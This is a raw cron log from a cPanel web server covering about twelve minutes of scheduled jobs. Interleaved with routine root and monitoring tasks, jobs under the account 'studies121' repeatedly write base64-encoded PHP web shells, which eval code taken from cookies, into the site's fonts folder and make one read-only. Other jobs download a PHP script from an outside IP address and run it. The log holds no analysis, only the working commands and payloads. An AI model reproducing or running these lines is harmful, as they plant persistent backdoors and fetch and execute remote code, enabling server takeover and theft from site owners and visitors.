Sep  4 14:00:01 ip-184-168-122-23 CROND[2956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:00:01 ip-184-168-122-23 CROND[2958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:00:01 ip-184-168-122-23 CROND[2960]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 14:00:01 ip-184-168-122-23 CROND[2961]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 14:00:01 ip-184-168-122-23 CROND[2963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:00:01 ip-184-168-122-23 CROND[2957]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:00:01 ip-184-168-122-23 CROND[2959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:00:01 ip-184-168-122-23 CROND[2964]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:01:01 ip-184-168-122-23 CROND[3110]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 14:01:01 ip-184-168-122-23 CROND[3111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:01:01 ip-184-168-122-23 CROND[3113]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 14:01:01 ip-184-168-122-23 CROND[3115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:01:01 ip-184-168-122-23 CROND[3112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:01:01 ip-184-168-122-23 CROND[3114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[3110]: starting 0anacron
Sep  4 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[3131]: finished 0anacron
Sep  4 14:02:01 ip-184-168-122-23 CROND[3260]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:02:01 ip-184-168-122-23 CROND[3264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:02:01 ip-184-168-122-23 CROND[3261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:02:01 ip-184-168-122-23 CROND[3265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:02:01 ip-184-168-122-23 CROND[3263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:03:01 ip-184-168-122-23 CROND[3388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:03:01 ip-184-168-122-23 CROND[3389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:03:01 ip-184-168-122-23 CROND[3392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:03:01 ip-184-168-122-23 CROND[3390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:04:01 ip-184-168-122-23 CROND[3491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:04:01 ip-184-168-122-23 CROND[3494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:04:01 ip-184-168-122-23 CROND[3493]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:04:01 ip-184-168-122-23 CROND[3492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:04:01 ip-184-168-122-23 CROND[3496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:05:01 ip-184-168-122-23 CROND[3622]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:05:01 ip-184-168-122-23 CROND[3624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:05:01 ip-184-168-122-23 CROND[3625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:05:01 ip-184-168-122-23 CROND[3627]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:05:01 ip-184-168-122-23 CROND[3628]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 14:05:01 ip-184-168-122-23 CROND[3626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:05:01 ip-184-168-122-23 CROND[3630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:06:01 ip-184-168-122-23 CROND[3823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:06:01 ip-184-168-122-23 CROND[3822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:06:01 ip-184-168-122-23 CROND[3827]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:06:01 ip-184-168-122-23 CROND[3829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:06:01 ip-184-168-122-23 CROND[3828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:07:01 ip-184-168-122-23 CROND[3916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:07:01 ip-184-168-122-23 CROND[3917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:07:01 ip-184-168-122-23 CROND[3918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:07:01 ip-184-168-122-23 CROND[3919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:08:01 ip-184-168-122-23 CROND[3997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:08:01 ip-184-168-122-23 CROND[3999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:08:01 ip-184-168-122-23 CROND[3998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:08:01 ip-184-168-122-23 CROND[4001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:08:01 ip-184-168-122-23 CROND[4000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:09:01 ip-184-168-122-23 CROND[4115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:09:01 ip-184-168-122-23 CROND[4118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:09:01 ip-184-168-122-23 CROND[4119]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 14:09:01 ip-184-168-122-23 CROND[4117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:09:01 ip-184-168-122-23 CROND[4121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:10:01 ip-184-168-122-23 CROND[4234]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 14:10:01 ip-184-168-122-23 CROND[4237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:10:01 ip-184-168-122-23 CROND[4238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:10:01 ip-184-168-122-23 CROND[4239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:10:01 ip-184-168-122-23 CROND[4240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:10:01 ip-184-168-122-23 CROND[4242]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:10:01 ip-184-168-122-23 CROND[4241]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:10:01 ip-184-168-122-23 CROND[4245]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:11:01 ip-184-168-122-23 CROND[4378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:11:01 ip-184-168-122-23 CROND[4379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:11:01 ip-184-168-122-23 CROND[4380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:11:01 ip-184-168-122-23 CROND[4381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:12:01 ip-184-168-122-23 CROND[4539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:12:01 ip-184-168-122-23 CROND[4541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
